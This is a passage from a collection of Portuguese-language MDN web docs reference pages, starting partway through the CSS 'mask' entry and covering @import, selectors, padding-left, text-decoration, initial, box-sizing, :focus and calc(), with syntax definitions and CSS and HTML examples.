discrete\n* `mask-repeat` (en-US): discrete\n* `mask-position` (en-US): a repeatable list\n* `mask-clip` (en-US): discrete\n* `mask-origin` (en-US): discrete\n* `mask-size` (en-US): a repeatable list\n* `mask-composite` (en-US): discrete\n |\n| Creates stacking context | yes |\n\nSintaxe\n-------\n\n\n```css\n/\\* Palavra-Chave \\*/\nmask: none;\n\n/\\* Valor das Imagens \\*/\nmask: url(mask.png); /\\* Imagem bitmap usada da máscara \\*/\nmask: url(masks.svg#star); /\\* Elemento dentro do SVG usado como máscara \\*/\n\n/\\* Valores Combinados \\*/\nmask: url(masks.svg#star) luminance; /\\* Elemento dentro do SVG usado como máscara de luminância \\*/\nmask: url(masks.svg#star) 40px 20px; /\\* Elemento dentro do SVG usado como máscara posicionada 40px do topo e 20px da esquerda \\*/\nmask: url(masks.svg#star) 0 0/50px 50px; /\\* Elemento dentro do SVG usado como máscara com a largura e altura de 50px \\*/\nmask: url(masks.svg#star) repeat-x; /\\* Elemento dentro do SVG usado como máscara repedida horizontalmente \\*/\nmask: url(masks.svg#star) stroke-box; /\\* Elemento dentro do SVG usado como máscara extendendo-se até a caixa delimitada pela linha \\*/\nmask: url(masks.svg#star) exclude; /\\* Elemento dentro do SVG usado como máscara e combinado com o fundo usando partes que não se sobrepõem \\*/\n\n/\\* Valores Globais \\*/\nmask: inherit;\nmask: initial;\nmask: unset;\n```\n\n### Valores\n\nSe o valor é um valor URI, o elemento apontado pelo URI é usado como uma máscara SVG.\n```\n\nmask =   \n  <mask-layer># (en-US)    \n  \n<mask-layer> =   \n  <mask-reference>              || (en-US)  \n  <position> [ (en-US) / <bg-size> ] (en-US)? (en-US)   || (en-US)  \n  <repeat-style>                || (en-US)  \n  <geometry-box>                || (en-US)  \n  [ (en-US) <geometry-box> | (en-US) no-clip ] (en-US)  || (en-US)  \n  <compositing-operator>        || (en-US)  \n  <masking-mode>                  \n  \n<mask-reference> =   \n  none           | (en-US)  \n  <image>        | (en-US)  \n  <mask-source>    \n  \n<position> =   \n  [ (en-US) left | (en-US) center | (en-US) right | (en-US) top | (en-US) bottom | (en-US) <length-percentage> ] (en-US)  | (en-US)  \n  [ (en-US) left | (en-US) center | (en-US) right ] (en-US) && (en-US) [ (en-US) top | (en-US) center | (en-US) bottom ] (en-US)  | (en-US)  \n  [ (en-US) left | (en-US) center | (en-US) right | (en-US) <length-percentage> ] (en-US) [ (en-US) top | (en-US) center | (en-US) bottom | (en-US) <length-percentage> ] (en-US)  | (en-US)  \n  [ (en-US) [ (en-US) left | (en-US) right ] (en-US) <length-percentage> ] (en-US) && (en-US) [ (en-US) [ (en-US) top | (en-US) bottom ] (en-US) <length-percentage> ] (en-US)    \n  \n<bg-size> =   \n  [ (en-US) <length-percentage [0,∞]> | (en-US) auto ] (en-US){1,2} (en-US)  | (en-US)  \n  cover                                      | (en-US)  \n  contain                                      \n  \n<repeat-style> =   \n  repeat-x                                     | (en-US)  \n  repeat-y                                     | (en-US)  \n  [ (en-US) repeat | (en-US) space | (en-US) round | (en-US) no-repeat ] (en-US){1,2} (en-US)    \n  \n<geometry-box> =   \n  <shape-box>  | (en-US)  \n  fill-box     | (en-US)  \n  stroke-box   | (en-US)  \n  view-box       \n  \n<compositing-operator> =   \n  add        | (en-US)  \n  subtract   | (en-US)  \n  intersect  | (en-US)  \n  exclude      \n  \n<masking-mode> =   \n  alpha         | (en-US)  \n  luminance     | (en-US)  \n  match-source    \n  \n<image> =   \n  <url>       | (en-US)  \n  <gradient> (en-US)    \n  \n<mask-source> =   \n  <url>    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n<shape-box> =   \n  <visual-box>  | (en-US)  \n  margin-box      \n  \n<url> =   \n  <url()>  | (en-US)  \n  <src()>    \n  \n<visual-box> =   \n  content-box  | (en-US)  \n  padding-box  | (en-US)  \n  border-box     \n  \n<url()> =   \n  url( <string> (en-US) <url-modifier>\\* (en-US) )  | (en-US)  \n  <url-token>                        \n  \n<src()> =   \n  src( <string> (en-US) <url-modifier>\\* (en-US) )    \n  \n```\n\nExemplos\n--------\n\n\n```css\n.target {\n  mask: url(#c1);\n}\n\n.anothertarget {\n  mask: url(resources.svg#c1);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Masking Module Level 1 # the-mask |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `clip-path` (en-US), `filter` (en-US)\n* Aplicanto efeitos SVG no conteúdo HTML (en-US)\n* SVG"}
{"title":"@import - CSS","text":"@import\n=======\n\nSumário\n-------\n\nA Regra Atribuída (at-rule) CSS **`@import`** é usado para importar regras de estilo de outras folhas de estilo. Estas regras devem preceder todos os outros tipos de regras, exceto as regrasde @charset ; uma vez que não é um Declaração aninhada, `@import não pode ser usado dentro do` grupo condicional de regras atribuídas (at-rules).\n\nAssim como os agentes do usuário podem evitar a recuperação de recursos para os tipos de mídia incompatíveis, os autores podem especificar regras @import dependentes de mídia. Estas importações condicionais devem ter media queries separadas por vírgulas após a URI. Na ausência de qualquer consulta de mídia (media queries), a importação é incondicional. Especificando todos para o médio tem o mesmo efeito.\n\nSintaxe\n-------\n```\n\n@import url;\n@import url list-of-media-queries;\n```\n\n\nwhere:\n\n*url*\n\nÉ algo como `<string>` (en-US) ou como `<uri>()` (en-US) representaando o local de onde o recurso será importado. A URL pode ser absoluta ou relativa. Perceba que a URL não precisa, necessariamente, ser um arquivo específico; ela pode especificar o nome do pacotee parcialmente, e o arquivo apropriado será escolhido automaticamente (exemplo: **chrome://communicator/skin/**). Veja aqui para mais informações.\n\n*list-of-media-queries*\n\nÉ uma lista separada por vírgulas de consultas de mídia (media queries) conidicionando a aplicação das regras de CSS definidas na URL relacionada. Se o navegador não suportar quaisquer consultas de mídia, ele não carregará o recurso relacionado.\n\nSintaxe formal\n--------------\n```\n\n@import =   \n  @import [ (en-US) <url> | (en-US) <string> (en-US) ] (en-US) [ (en-US) layer | (en-US) layer( <layer-name> ) ] (en-US)? (en-US) <import-conditions> ;    \n  \n<url> =   \n  <url()>  | (en-US)  \n  <src()>    \n  \n<layer-name> =   \n  <ident> (en-US) [ (en-US) '.' <ident> (en-US) ] (en-US)\\* (en-US)    \n  \n<import-conditions> =   \n  [ (en-US) supports( [ (en-US) <supports-condition> | (en-US) <declaration> ] (en-US) ) ] (en-US)? (en-US) <media-query-list>? (en-US)    \n  \n<url()> =   \n  url( <string> (en-US) <url-modifier>\\* (en-US) )  | (en-US)  \n  <url-token>                        \n  \n<src()> =   \n  src( <string> (en-US) <url-modifier>\\* (en-US) )    \n  \n<supports-condition> =   \n  not <supports-in-parens>                            | (en-US)  \n  <supports-in-parens> [ (en-US) and <supports-in-parens> ] (en-US)\\* (en-US)  | (en-US)  \n  <supports-in-parens> [ (en-US) or <supports-in-parens> ] (en-US)\\* (en-US)     \n  \n<supports-in-parens> =   \n  ( <supports-condition> )  | (en-US)  \n  <supports-feature>        | (en-US)  \n  <general-enclosed>          \n  \n<supports-feature> =   \n  <supports-decl>    \n  \n<general-enclosed> =   \n  [ (en-US) <function-token> <any-value>? (en-US) ) ] (en-US)  | (en-US)  \n  [ (en-US) ( <any-value>? (en-US) ) ] (en-US)                   \n  \n<supports-decl> =   \n  ( <declaration> )    \n  \n```\n\nExemplos\n--------\n\n\n```css\n@import url(\"fineprint.css\") print;\n@import url(\"bluish.css\") projection, tv;\n@import \"custom.css\";\n@import url(\"chrome://communicator/skin/\");\n@import \"common.css\" screen, projection;\n@import url(\"landscape.css\") screen and (orientation: landscape);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Cascading and Inheritance Level 5 # at-import |\n\nBrowser compatibilidade\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Seletor universal - CSS","text":"Seletor universal\n=================\n\nO **seletor universal** do CSS (`*`) aplica estilos a elementos de qualquer tipo.\n\n\n```css\n/\\* Seleciona todos os elementos \\*/\n\\* {\n  color: green;\n}\n```\n\n\nA partir do CSS3, o asterisco pode ser combinado com `namespaces` (en-US):\n\n* `ns|*` - aplica a todos os elementos no namespace *ns*\n* `*|*` - aplica a todos elementos\n* `|*` - aplica a todos os elementos que não tem namespaces declarados\nSintaxe\n-------\n```\n\n* { propriedades de estilo }\n```\n\n\nO asterisco é opcional para seletores simples. Por exemplo, `*.atencao` e `.atencao` são equivalentes.\n\nExemplos\n--------\n\n### CSS\n\n\n```css\n\\* [lang^=\"pt\"] {\n  color: green;\n}\n\n\\*.atencao {\n  color: red;\n}\n\n\\*#conteudoprincipal {\n  border: 1px solid blue;\n}\n\n.flutuando {\n  float: left;\n}\n\n/\\* automaticamente aplica clear ao próximo irmão após o elemento com a classe .flutuando \\*/\n.flutuando + \\* {\n  clear: left;\n}\n```\n\n### HTML\n\n\n```html\n<p class=\"atencao\">\n  <span lang=\"pt-br\">Um span verde</span> em um parágrafo vermelho.\n</p>\n<p id=\"conteudoprincipal\" lang=\"pt-pt\">\n  <span class=\"atencao\">Um span vermelho</span> em um parágrafo verde.\n</p>\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # the-universal-selector |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"padding-left - CSS","text":"padding-left\n============\n\nResumo\n------\n\n`A propriedade CSS padding-left` é um elemento que define o espaço de preenchimento obrigatório no lado esquerdo de um elemento. padding area é o espaço entre o conteúdo do elemento e a borda. Um valor negativo não é permitido.\n\n|  |  |\n| --- | --- |\n| Initial value | `0` |\n| Aplica-se a | all elements, except `table-row-group`, `table-header-group`, `table-footer-group`, `table-row`, `table-column-group` and `table-column`. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | the percentage as specified or the absolute length |\n| Animation type | a length |\n\nSyntax\n------\n```\n\nSyntax formal: \n```\npadding-left =   \n  <length-percentage [0,∞]>    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\n\n```\n```\n\npadding-left: 0.5em;\npadding-left: 0;\npadding-left: 2cm;\npadding-left: 10%\n\npadding-left: inherit\n```\n\n### Valores\n\n`<length>`\n\nEspecifica uma largura fixa positiva. Consulte `<length>` (en-US) para obter detalhes.\n\n`<percentage>`\n\nUm percentual em relação a largura do bloco.\n\nExemplos\n--------\n\n\n```css\n.content {\n  padding-left: 5%;\n}\n.sidebox {\n  padding-left: 10px;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Model Module Level 3 # padding-physical |\n\nCompatibilidade do Navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"text-decoration - CSS","text":"text-decoration\n===============\n\nResumo\n------\n\nA propriedade **`text-decoration`** do CSS é usada para definir a formatação de `underline`, `overline`, `line-through` ou `blink`. As decorações underline e overline são posicionadas abaixo e acima do texto (respectivamente), e line-through cortando-o.\n\nA propriedade text-decoration desenha em elementos descendentes. Isso significa que não é possivel desabilitar em um descendente uma decoração que foi especificada em um de seus antecessores. Por exemplo, no markup `<p>Esse texto tem <em>alguns elementos enfatizados</em> nele.</p>`, a regra de estilo `p { text-decoration: underline; }` faria com que todo o parágrafo fosse sublinhado. A regra `em { text-decoration: none; }` não causaria qualquer mudanca; o parágrafo inteiro ainda estaria sublinhado. Entretanto, a regra `em { text-decoration: overline; }` iria decorar o trecho \"alguns elementos enfatizados\".\n\n**Nota:** CSS 3 transformou a propriedade Text-Decoration para forma reduzida, usando as seguintes propriedades: `text-decoration-color` (en-US), `text-decoration-line` (en-US), e `text-decoration-style`. Como em outras propriedades reduzidas, isso significa que ele reseta o valor de cada uma para padrão se não for explicitamente especificada na forma reduzida.\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `text-decoration-color` (en-US): `currentcolor`\n* `text-decoration-style`: `solid`\n* `text-decoration-line` (en-US): `none`\n |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `text-decoration-line` (en-US): as specified\n* `text-decoration-style`: as specified\n* `text-decoration-color` (en-US): computed color\n* `text-decoration-thickness` (en-US): as specified\n |\n| Animation type | as each of the properties of the shorthand:* `text-decoration-color` (en-US): a color\n* `text-decoration-style`: discrete\n* `text-decoration-line` (en-US): discrete\n* `text-decoration-thickness` (en-US): by computed value type\n |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores Chave \\*/\ntext-decoration: none; /\\* Sem decoração \\*/\ntext-decoration: underline red; /\\* Sublinhado vermelho \\*/\ntext-decoration: underline wavy red; /\\* Sublinhado ondulado vermelho \\*/\n\n/\\* Valores Globais \\*/\ntext-decoration: inherit;\ntext-decoration: initial;\ntext-decoration: unset;\n```\n\n### Valores\n\nA propriedade `text-decoration` é escrita de forma reduzida e pode usar os valores de cada uma das propriedades: `text-decoration-line` (en-US), `text-decoration-color` (en-US), e `text-decoration-style`\n\n### Sintaxe Formal\n```\n\ntext-decoration =   \n  <'text-decoration-line'>   || (en-US)  \n  <'text-decoration-style'>  || (en-US)  \n  <'text-decoration-color'>    \n  \n```\n\nExemplos\n--------\n\n\n```css\nh1.under {\n  text-decoration: underline;\n}\nh1.over {\n  text-decoration: overline;\n}\np.line {\n  text-decoration: line-through;\n}\np.blink {\n  text-decoration: blink;\n}\na.none {\n  text-decoration: none;\n}\np.underover {\n  text-decoration: underline overline;\n}\n```\n\n\n\n```html\n<h1 class=\"under\">Underlined Header</h1>\n<p class=\"line\">If you want to strike out text, use line-through.</p>\n<p class=\"blink\">\n  This text might blink for you - if you use Explorer, it will not.\n</p>\n<h1 class=\"over\">and now an overlined header.</h1>\n<p>\n  This\n  <a class=\"none\" href=\"textdecoration.html\">link will not be underlined</a>, as\n  most links are by default. Be careful with removing the text decoration on\n  links since most users depend on the underline to signify a hyperlink.\n</p>\n<p class=\"underover\">This text has both underline and overline.</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Decoration Module Level 3 # text-decoration-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O atributo `list-style` (en-US) controla a aparência dos itens em listas `<ol>` e `<ul>` no HTML."}
{"title":"initial - CSS","text":"initial\n=======\n\nA palavra-chave CSS **`initial`** CSS se aplica ao valor inicial (ou padrão) de uma propriedade para um elemento. Este valor inicial é definido pelo navegador. Este valor pode ser aplicado em qualquer propriedade CSS.\n\nIsto inclui também o atalho CSS `all` (en-US), no qual o `initial` pode ser utilizado para restaurar todas as propriedades CSS para o seu estado inicial.\n\n**Nota:** Em propriedades herdadas, O valor inicial pode ser inesperado. Neste caso, considere o uso dos termos {cssxref(\"inherit\")}}, `unset` (en-US), ou `revert` (en-US).\n\nExemplo\n-------\n\n#### HTML\n\n\n```html\n<p>\n  <span>Este texto é vermelho.</span>\n  <em>Este texto está em sua cor inicial (normalmente preto).</em>\n  <span>Este texto está em vermelho de novo :) </span>\n</p>\n```\n\n\n#### CSS\n\n\n```css\np {\n  color: red;\n}\n\nem {\n  color: initial;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Cascading and Inheritance Level 4 # initial |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Utilize `unset` (en-US) para definir uma propriedade para o seu valor herdado caso haja herança, ou para o seu valor inicial, caso não haja..\n* Utilize `revert` (en-US) para redefinir uma propriedade ao valor estabelecido pela folha de estilo user-agent (ou por seus estilos de usuário, se existir algum).\n* Utilize `inherit` (en-US) para fazer uma propriedade de elemento a mesma de seu elemento pai.\n* A propriedade `all` (en-US) permite que você redefina todas as propriedades para os seus estados initial, inherited, reverted, or unset de uma vez."}
{"title":":enabled - CSS","text":":enabled\n========\n\nA pseudo-classe CSS **`:enabled`** representa qualquer elemento ativado. Um elemento é ativado se puder ser ativado (selecionado, clicado, digitado etc.) ou aceitar o foco. O elemento também possui um estado desativado, no qual não pode ser ativado nem aceitar foco.\n\n\n```css\n/\\* Seleciona qualquer <input> ativado \\*/\ninput:enabled {\n  color: blue;\n}\n```\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplo\n-------\n\nO exemplo a seguir torna a cor do texto e do botão `<input>` verde quando ativada e cinza quando desativada. Isso ajuda o usuário a entender quais elementos podem ser interagidos..\n\n### HTML\n\n\n```html\n<form action=\"url\\_of\\_form\">\n  <label for=\"FirstField\">First field (enabled):</label>\n  <input type=\"text\" id=\"FirstField\" value=\"Lorem\" /><br />\n\n  <label for=\"SecondField\">Second field (disabled):</label>\n  <input type=\"text\" id=\"SecondField\" value=\"Ipsum\" disabled=\"disabled\" /><br />\n\n  <input type=\"button\" value=\"Submit\" />\n</form>\n```\n\n### CSS\n\n\n```css\ninput:enabled {\n  color: #2b2;\n}\n\ninput:disabled {\n  color: #aaa;\n}\n```\n\n### Result\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-enabled |\n| Selectors Level 4 # enableddisabled |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `:disabled`"}
{"title":"Seletor de atributos - CSS","text":"Seletor de atributos\n====================\n\nO **seletor de atributos** combina elementos baseado no valor de um atributo dado.\n\n\n```css\n/\\* <a> elementos com um atributo de título \\*/\na[title] {\n  color: purple;\n}\n\n/\\* <a> elementos combinando com um href \"https://example.org\" \\*/\na[href=\"https://example.org\"]\n{\n  color: green;\n}\n\n/\\* <a> elementos com um href contendo \"example\" \\*/\na[href\\*=\"example\"] {\n  font-size: 2em;\n}\n\n/\\* <a> elementos com href terminando em \".org\" \\*/\na[href$=\".org\"] {\n  font-style: italic;\n}\n```\n\n\n`[attr]`\n\nRepresenta um elemento com atributo de nome *attr*.\n\n`[attr=value]`\n\nRepresenta um elemento com um atributo de nome *attr*, o qual o valor é exatamente *value.*\n\n`[attr~=value]`\n\nRepresenta um elemento com um atributo de nome *attr,* o qual *value* é uma lista de palavras separadas por espaços, e uma dessas é exatamente *value.*\n\n`[attr|=value]`\n\nRepresenta um elemento com um atributo de nome *attr* o qual o valor pode ser exatamente *value* ou pode começar com *value* imediatamente seguido por hífen `-` (U+002D). Isso somente é usado para linguagens que combinam sub-códigos.\n\n`[attr^=value]`\n\nRepresenta um elemento com um atributo com nome *attr* que tem um valor prefixado (precedido) por *value.*\n\n`[attr$=value]`\n\nRepresenta um elemento com um atributo de nome *attr* que tem como sufixo (seguido) por *value.*\n\n`[attr*=value]`\n\nRepresenta um elemento com um atributo de nome *attr* o qual valor contém ao menos uma ocorrência de *value* contido na string.\n\n`[attr operator value i]`\n\nAdiciona um `i` (ou `I`) antes do fechamento das chaves {}, faz com que o valor seja comparado sem levar em conta caixa alta ou caixa baixa(para caracteres dentro da faixa ASCII).\n\nExemplos\n--------\n\n### Links\n\n#### CSS\n\n\n```css\na {\n  color: blue;\n}\n\n/\\* Links internos, começando com \"#\" \\*/\na[href^=\"#\"] {\n  background-color: gold;\n}\n\n/\\* Links com \"example\" em qualquer lugar da URL \\*/\na[href\\*=\"example\"] {\n  background-color: silver;\n}\n\n/\\* Links com \"insensitive\" em qualquer lugar da URL,\n independentemente da capitalização \\*/\na[href\\*=\"insensitive\" i] {\n  color: cyan;\n}\n\n/\\* Links com final \".org\" \\*/\na[href$=\".org\"] {\n  color: red;\n}\n```\n\n\n#### HTML\n\n\n```html\n<ul>\n  <li><a href=\"#internal\">Internal link</a></li>\n  <li><a href=\"http://example.com\">Example link</a></li>\n  <li><a href=\"#InSensitive\">Insensitive internal link</a></li>\n  <li><a href=\"http://example.org\">Example org link</a></li>\n</ul>\n```\n\n\n#### Resultado\n\n### Languages\n\n#### CSS\n\n\n```css\n/\\* Todas divs com um atributo `lang` em negrito. \\*/\ndiv[lang] {\n  font-weight: bold;\n}\n/\\* Todas divs com US English em azul (blue). \\*/\ndiv[lang~=\"en-us\"] {\n  color: blue;\n}\n/\\* Todas divs onde Portuguese esta em verde (green). \\*/\ndiv[lang=\"pt\"] {\n  color: green;\n}\n/\\* Todas divs onde Chinese esta em vermelho (red), Simplificado para (zh-CN) ou tradicional (zh-TW). \\*/\ndiv[lang|=\"zh\"] {\n  color: red;\n}\n/\\* Todas divs com Traditional Chinese `data-lang` que é purple. \\*/\n/\\* Nota: Você também poderia usar atributos separados por hífen com aspas duplas \\*/\ndiv[data-lang=\"zh-TW\"] {\n  color: purple;\n}\n```\n\n\n#### HTML\n\n\n```html\n<div lang=\"en-us en-gb en-au en-nz\">Hello World!</div>\n<div lang=\"pt\">Olá Mundo!</div>\n<div lang=\"zh-CN\">世界您好！</div>\n<div lang=\"zh-TW\">世界您好！</div>\n<div data-lang=\"zh-TW\">?世界您好！</div>\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # attribute-selectors |\n\nBrowser compatibilidade\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"box-sizing - CSS","text":"box-sizing\n==========\n\nA propriedade CSS box-sizing é utilizada para alterar a propriedade padrão da box model, usada para calcular larguras (widths) e alturas (heights) dos elementos. É possível usar essa propriedade para emular o comportamento dos navegadores (browsers) que não suportam corretamente a especificação da propriedade CSS box model.\n\nSintaxe\n-------\n```\n\nSintaxe formal: \n```\nbox-sizing =   \n  content-box  | (en-US)  \n  border-box     \n  \n```\n\n\n```\n```\n\nbox-sizing: content-box\nbox-sizing: border-box\n\nbox-sizing: inherit\n```\n\n### Valores\n\n`content-box`\n\nEssa é o estilo padrão, conforme especificado pela norma CSS. As propriedades `width` (largura) e `height` (altura) são medidas incluindo só o conteúdo, mas não o padding, border ou margin. Nota: Padding, border e margin serão fora da box. Exemplo.: Se .box {width: 350px} então se você aplicar uma propriedade {border: 10px solid black;} o resultado renderizado no navegador (browser) será .box {width: 370px;}\n\n`padding-box`\nExperimental\n\nAs propriedades de largura (`width`) e de altura (`height`) incluem o tamanho padding size, mas não incluem a propriedade border ou margem.\n\n`border-box`\n\nAs propriedades de largura (`width`) e de altura (`height`) incluem o tamanho padding size e a propriedade border, mas não incluem a propriedade margin.\n\nExemplos\n--------\n\n\n```css\n/\\* funciona em Firefox, WebKit, Opera and IE8+ \\*/\n/\\* exemplo de uso no navegador Firefox \\*/\n\n.exemplo {\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Sizing Module Level 3 # box-sizing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* CSS box model (en-US) [Eng]"}
{"title":":focus - CSS","text":":focus\n======\n\nResumo\n------\n\nA pseudo-classe `:focus` do CSS é aplicada quando um elemento recebe foco, o que pode ocorrer quando o usuário seleciona o elemento utilizando o teclado ou ativando o mesmo com o mouse (ex: um campo de um formulário).\n\nA pseudo classe é aplicada apenas ao elemento focado, e não aos seus elementos ascendentes, como ocorre com `:checked` e `:enabled` e diferentemente de `:active` ou `:hover`.\n\nSintaxe\n-------\n```\n\nelemento:focus { ... }\n```\n\nExemplos\n--------\n\n\n```css\n.nome:focus {\n  color: red;\n}\n\n.sobrenome:focus {\n  color: lime;\n}\n```\n\n\n\n```html\n<input class=\"nome\" value=\"Esse elemento ficará vermelho quando focado\" />\n<input\n class=\"sobrenome\"\n value=\"Esse elemento ficará verde-limão quando focado\" />\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-focus |\n| Selectors Level 4 # focus-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"calc() - CSS","text":"calc()\n======\n\nA função **`calc()`** CSS permite você executar cálculos quando especificar os valores de propriedades no CSS. Pode ser utilizada em qualquer lugar , como `<length>` (en-US), `<frequency>` (en-US), `<angle>` (en-US), `<time>`, `<percentage>` (en-US), `<number>`, e `<integer>` (en-US) é permitido.\n\n\n```css\n/\\* propriedade: calc(expressão) \\*/\nwidth: calc(100% - 80px);\n```\n\nSyntax\n------\n\nA função `calc()` recebe uma simples expressão como parâmetro e o resultado desta expressão é utilizado como valor. Pode ser uma simples expressão, combinando os seguintes operadores, utilizando padrão operator precedence rules:\n\n`+`\n\nAdição.\n\n`-`\n\nSubtração.\n\n`*`\n\nMultiplicação. Pelo menos um dos argumentos deve ser um `<number>`.\n\n`/`\n\nDivisão. O operador da direita deve ser um `<number>`.\n\nOs operandos na expressão podem ser qualquer valor de sintaxe `<length>` (en-US). Você pode usar unidades diferentes para cada valor em sua expressão, se desejar. Você também pode usar parênteses para estabelecer a ordem de computação quando necessário.\n\n### Notas\n\n* Divisão por 0 (zero) resulta em um erro gerado pelo HTML parser.\n* Os operadores + e - devem estar cercados por **espaço em branco**. Por exemplo, calc (50% -8px) será analisado como uma porcentagem seguida por um comprimento negativo - uma expressão inválida — enquanto calc (50% - 8px) é uma porcentagem seguida por um operador de subtração e um comprimento. Da mesma forma, calc (8px + -50%) é tratado como um comprimento seguido por um operador de adição e uma porcentagem negativa.\n* Os operadores `*` e `/` não requerem espaço em branco, mas adicioná-lo para consistência é permitido e recomendado.\n* Expressões matemáticas envolvendo porcentagens de larguras e alturas em colunas de tabela, grupos de coluna de tabela, linhas de tabela, grupos de linhas de tabela e células de tabela em tabelas de layout automáticas e fixas podem ser tratadas como se `auto` tivesse sido especificado.\n* É permitido aninhar funções `calc ()`, em cujo caso as internas são tratadas como parênteses simples.\n### Formal syntax\n```\n\n<calc()> =   \n  calc( <calc-sum> )    \n  \n<calc-sum> =   \n  <calc-product> [ (en-US) [ (en-US) '+' | (en-US) '-' ] (en-US) <calc-product> ] (en-US)\\* (en-US)    \n  \n<calc-product> =   \n  <calc-value> [ (en-US) [ (en-US) '*' | (en-US) '/' ] (en-US) <calc-value> ] (en-US)\\* (en-US)    \n  \n<calc-value> =   \n  <number>        | (en-US)  \n  <dimension> (en-US)     | (en-US)  \n  <percentage> (en-US)    | (en-US)  \n  <calc-keyword>  | (en-US)  \n  ( <calc-sum> )    \n  \n<calc-keyword> =   \n  e          | (en-US)  \n  pi         | (en-US)  \n  infinity   | (en-US)  \n  -infinity  | (en-US)  \n  NaN          \n  \n```\n\nExemplos\n--------\n\n### Posicionando um objeto na tela usando margin\n\n`calc()` torna mais fácil posicionar um objeto com uma margem definida. Nesse exemplo, o CSS cria um banner que se estende pela janela, com um espaço de 40px entre os dois lados do banner e das bordas da janela:\n\n\n```css\n.banner {\n  position: absolute;\n  left: 40px;\n  width: calc(100% - 80px);\n  border: solid black 1px;\n  box-shadow: 1px 2px;\n  background-color: yellow;\n  padding: 6px;\n  text-align: center;\n  box-sizing: border-box;\n}\n```\n\n\n\n```html\n<div class=\"banner\">This is a banner!</div>\n```\n\n### Dimensionar campos de formulário automaticamente para caber em seu contêiner\n\nOutro caso para `calc()` é ajudar a garantir que os campos do formulário caibam no espaço disponível, sem expandir para além da borda do seu contêiner, enquanto mantém uma margem apropriada.\n\nVeja-mos no CSS:\n\n\n```css\ninput {\n  padding: 2px;\n  display: block;\n  width: calc(100% - 1em);\n}\n\n#formbox {\n  width: calc(100% / 6);\n  border: 1px solid black;\n  padding: 4px;\n}\n```\n\n\nAqui, o próprio formulário é estabelecido para utilizar 1/6 da largura da janela disponível. Então, para garantir que os campos de entrada mantenham um tamanho apropriado, utilizamos `calc()` novamente para estabelecer que eles devem ter a largura de seu contêiner menos 1em. Então, o seguinte HTML utiliza este CSS:\n\n\n```html\n<form>\n  <div id=\"formbox\">\n    <label>Type something:</label>\n    <input type=\"text\" />\n  </div>\n</form>\n```\n\n### calc( ) inserido em variáveis de CSS\n\nVocê também pode utilizar `calc()` com variáveis de CSS (en-US). Considere o seguinte código:\n\n\n```css\n.foo {\n  --widthA: 100px;\n  --widthB: calc(var(--widthA) / 2);\n  --widthC: calc(var(--widthB) / 2);\n  width: var(--widthC);\n}\n```\n\n\nDepois que todas as variáveis forem expandidas, o valor de `widthC` será `calc( calc( 100px / 2) / 2)`, então quando for atribuído à propriedade de largura `.foo`, todos os `calc()` internos (não importa o quão profundamente atribuídos) serão nivelados para apenas parênteses, de modo que o valor da propriedade `width` será eventualmente `calc( ( 100px / 2) / 2)`, i.e. `25px`. Resumindo: um `calc()` dentro de um `calc()` é idêntico à parênteses.\n\nQuestões de acessibilidade\n--------------------------\n\nQuando `calc()` é usado para controlar o tamanho do texto, certifique-se de que um dos valores inclui uma unidade de comprimento relativo (en-US), por exemplo:\n\n\n```css\nh1 {\n  font-size: calc(1.5rem + 3vw);\n}\n```\n\n\nIsso garante que o tamanho do texto será redimensionado se a página for ampliada.\n\n* MDN Understanding WCAG, Guideline 1.4 explanations (en-US)\n* Understanding Success Criterion 1.4.4 | W3C Understanding WCAG 2.0\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Values and Units Module Level 4 # calc-func |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog"}
